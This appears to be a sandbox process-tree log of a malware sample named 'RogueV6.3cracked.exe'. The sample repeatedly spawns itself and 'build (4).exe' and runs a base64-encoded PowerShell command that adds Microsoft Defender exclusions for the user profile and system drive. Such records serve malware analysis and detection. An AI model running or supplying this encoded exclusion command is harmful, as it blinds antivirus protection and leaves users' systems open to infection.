C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="18⤵PID:4292
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"18⤵PID:4272
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"18⤵PID:4052
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="19⤵PID:412
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"19⤵PID:1988
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"19⤵PID:2240
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="20⤵PID:5308
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"20⤵PID:5316
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"20⤵PID:5324
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="21⤵PID:5508
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"21⤵PID:5516
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"21⤵PID:5532
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="22⤵PID:5848
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"22⤵PID:5912
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"22⤵PID:6000
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="23⤵PID:940
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"23⤵PID:5052
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"23⤵PID:1128
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="24⤵PID:5420
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"24⤵PID:5524
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"24⤵PID:5780
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="25⤵PID:3492
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"25⤵PID:3948
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"25⤵PID:5532
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="26⤵PID:5252
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"26⤵PID:4832
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"26⤵PID:2404
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="27⤵PID:5288
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"27⤵PID:820
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"27⤵PID:3352
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="28⤵PID:5740
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"28⤵PID:4608
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"28⤵PID:5004
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="29⤵PID:2904
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"29⤵PID:2944
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"29⤵PID:892
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="30⤵PID:3916
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"30⤵PID:2696
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"30⤵PID:4052
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="31⤵PID:1472
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"31⤵PID:2576
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"31⤵PID:4184
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="32⤵PID:5392
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"32⤵PID:2524
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"32⤵PID:5420
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="33⤵PID:5656
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"33⤵PID:5892
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"33⤵PID:5764
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="34⤵PID:1984
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"34⤵PID:5380
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"34⤵PID:5800
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="35⤵PID:4016
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"35⤵PID:1976
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"35⤵PID:2360
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="36⤵PID:5584
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"36⤵PID:6076
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"36⤵PID:5472
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="37⤵PID:1684
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"37⤵PID:3228
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"37⤵PID:560
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="38⤵PID:5308
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"38⤵PID:740
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"38⤵PID:2176
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="39⤵PID:8
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"39⤵PID:6060
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"39⤵PID:4928
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="40⤵PID:3920
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"40⤵PID:3124
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"40⤵PID:3052
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="41⤵PID:1744
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"41⤵PID:6072
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"41⤵PID:1604
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="42⤵PID:5196
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"42⤵PID:4896
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"42⤵PID:2912
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="43⤵PID:6256
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"43⤵PID:6264
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"43⤵PID:6320
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="44⤵PID:6496
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"44⤵PID:6504
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"44⤵PID:6564
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="45⤵PID:6732
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"45⤵PID:6740
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"45⤵PID:6760
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="46⤵PID:6936
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"46⤵PID:6944
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"46⤵PID:6988
-
